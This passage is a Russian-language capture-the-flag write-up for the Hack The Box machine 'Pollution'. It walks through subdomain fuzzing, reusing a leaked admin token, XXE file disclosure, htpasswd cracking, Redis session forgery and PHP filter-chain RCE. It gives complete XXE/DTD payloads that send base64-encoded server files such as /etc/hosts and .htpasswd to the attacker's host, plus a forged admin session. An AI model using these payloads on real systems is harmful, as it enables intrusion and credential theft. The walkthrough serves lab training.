Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
В этом райтапе я покажу, как работать с уязвимостью типа prototype pollution в приложении на Node.js. На пути к ней мы поупражняемся в эксплуатации XXE, поработаем с Redis и применим эксплоит для PHP FPM.
Упражняться мы будем на тренировочной машине Pollution с площадки Hack The Box. Уровень — сложный.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Добавляем IP-адрес машины в /etc/hosts
:
10.10.11.192 pollution.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Результат работы скрипта
Сканер нашел всего три открытых порта:
Наиболее вероятная точка входа при таком выборе — веб‑сайт. Его‑то и проверим первым делом.
Главная страница сайта
В информации на сайте отражается реальный домен, который мы добавляем в файл /etc/hosts
.
10.10.11.192 pollution.htb collect.htb
Информация на сайте
А так как мы получили реальное доменное имя, попробуем просканировать поддомены.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-w
— словарь (я использую словари из набора SecLists);
-t
— количество потоков;
-u
— URL;
-H
— заголовок HTTP;
-fs
— фильтровать страницы по размеру.
Место перебора помечается словом FUZZ.
Получается вот такая команда:
ffuf -u 'http://collect.htb/' -w subdomains-top1million-110000.txt -t 256 -H 'Host: FUZZ.collect.htb' -fs 26197
Результат сканирования поддоменов
Добавляем все найденные записи в файл /etc/hosts
.
10.10.11.192 pollution.htb collect.htb forum.collect.htb developers.collect.htb
На первом домене обнаруживаем открытый форум с возможностью регистрации, а на втором нас встречает HTTP-аутентификация.
Главная страница forum.collect.htb
Переходим к изучению форума.
Регистрируемся на форуме, так как это позволит расширить область исследования. Сразу копируем себе список пользователей, иногда это очень важная информация.
Пользователи форума
Переходим к открытым темам и просматриваем обсуждения. В одном посте видим, как пользователь расшарил историю прокси‑сервера.
Сообщение с историей прокси‑сервера
В файле видим всю историю запросов и ответов, проходивших через прокси. Эти данные закодированы в Base64.
Содержимое файла proxy_history.txt
Декодировать можно прямо в Burp с помощью комбинации клавиш Ctrl-Shift-B.
Декодированный запрос на сервер
Находим очень интересный запрос, который повышает роль пользователя до администратора. Вернемся к исходному сайту и отправим аналогичный запрос с тем же токеном.
Запрос на повышение привилегий
Токен оказался неодноразовый, и роль пользователя повысилась до администратора сайта.
Страница администратора
Эти привилегии позволяют нам разрешить пользователю получать доступ по API.
Форма регистрации пользователя API
Просматриваем историю запросов Burp History и находим запрос на регистрацию пользователя API.
Данные отправляются в формате XML, а значит, здесь может быть уязвимость XXE. Давай проверим!
Справка: XXE
Инъекция внешних сущностей XML (XXE) — это уязвимость, которая позволяет атакующему вмешиваться в обработку XML-данных. Эта уязвимость часто помогает атакующему просматривать произвольные файлы в файловой системе сервера и взаимодействовать с любыми серверными или внешними системами, к которым имеет доступ само приложение.
Это происходит из‑за того, что приложение может использовать формат XML для передачи данных. Для их обработки в таких случаях почти всегда применяется стандартная библиотека или API платформы. Уязвимости XXE возникают из‑за того, что спецификация XML содержит потенциально опасные функции, которые можно вызвать, даже если приложение их не использует.
Внешние сущности XML — это тип настраиваемой сущности, определенные значения которых загружаются из файлов DTD с удаленного сервера.
Попробуем прочитать файл /etc/hosts
. Запустим веб‑сервер:
python3 -m http.server 80
И создадим нагрузку, которая попытается загрузить файл DTD evil.dtd
с нашего веб‑сервера.
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://10.10.14.13/evil.dtd"> %xxe;
]>
<root> <method>POST</method> <uri>/auth/register</uri> <user> <username>ralf</username> <password>ralf</password> </user></root>
Теперь переходим к содержимому файла DTD. Сначала сущность будет читать целевой файл и кодировать его в Base64. А затем загружать новую удаленную сущность, но в URL-параметре передавать закодированный файл, который мы хотим получить.
<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=../../../../etc/hosts'><!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://10.10.14.6/?file=%file;'>">
%eval;
%exfiltrate;
Выполнение запроса на сервер
Логи веб‑сервера Python 3
Мы получили данные, а значит, уязвимость есть. Давай читать файлы сайта. Начинаем, конечно, с index.php
(изменяем только первую строку файла DTD).
<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=index.php'>
Отправляем новый запрос, получаем файл на свой сервер и декодируем Base64-строку.
Содержимое файла index.php
Этот файл ничего, кроме новых путей, не раскрывает. Давай получим подключаемый файл bootstrap.php
.
<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=../bootstrap.php'>
Содержимое файла bootstrap.php
И получаем секрет для подключения к службе Redis. К ней перейдем чуть позже, а пока продолжим выжимать максимум из XXE. Правда, больше исходные коды нам ничего не открыли, но помним про HTTP-аутентификацию на одном из доменов. Вспоминаем про домен developers
. Получим учетные данные из файла /var/www/developers/.htpasswd
.
<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=../../../../../../var/www/developers/.htpasswd'>
Содержимое файла .htpasswd
Чтобы перебрать этот хеш, нам нужно знать режим перебора. В этом поможет справка hashcat.
hashcat --example | grep '$apr1$' -A2 -B2
Описание хеша
Получаем режим 1600, который передаем в параметре -m
.
hashcat -m 1600 hash.txt rockyou.txt
Результат перебора хеша
Получаем пароль и авторизуемся на developers.collect.htb
, но нас встречает еще и авторизация на сайте.
Форма авторизации developers.collect.htb
Теперь перейдем к изучению Redis.
Порт открыт, поэтому подключаемся с найденным паролем и получаем все ключи.
redis-cli -h collect.htb -a COLLECTR3D1SPASS
keys *
Ключи в базе Redis
Получаем сессии, видимо, какого‑то веб приложения. Для проверки переходим к сайту developers
, получаем новую сессию в куки и снова проверяем ключи в Redis.
Burp History
Ключи Redis
Получим записи по ключам, чтобы разобрать формат хранящихся данных.
Получение данных Redis
Первая запись соответствует сайту collect
, а только что созданная сессия, конечно же, ничего не хранит. По известной записи сформируем данные для администратора сайта developers
и присвоим только что созданному ключу.
set PHPREDIS_SESSION:iht1inpstsraqqkbnc1grpi8fa "username|s:4:"ralf";role|s:5:"admin";auth|s:4:"True";"
Обновляем страницу на сайте и получаем доступ от имени авторизованного пользователя.
Домашняя страница сайта Developers
Сразу обращаем внимание на то, что страница передается в качестве URL-параметра page
. В таких случаях нужно сразу искать уязвимости типа LFI или RCE. Я попробовал несколько, но ничего не получилось. Скорее всего, используются фильтры и мы можем посмотреть на них, прочитав код сайта через XXE.
<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=../../../../../../var/www/developers/index.php'>
Содержимое файла /var/www/developers/index.php
Используется функция include
, но к указанной странице добавляется расширение .php
.
Даже в таком случае мы можем выполнить произвольный код благодаря репозиторию php_filter_chain_generator.
Создание нагрузки
Теперь отправляем ее на сайт и в ответе видим результат выполнения команды.
Эксплуатация RCE
Источник: xakep.ru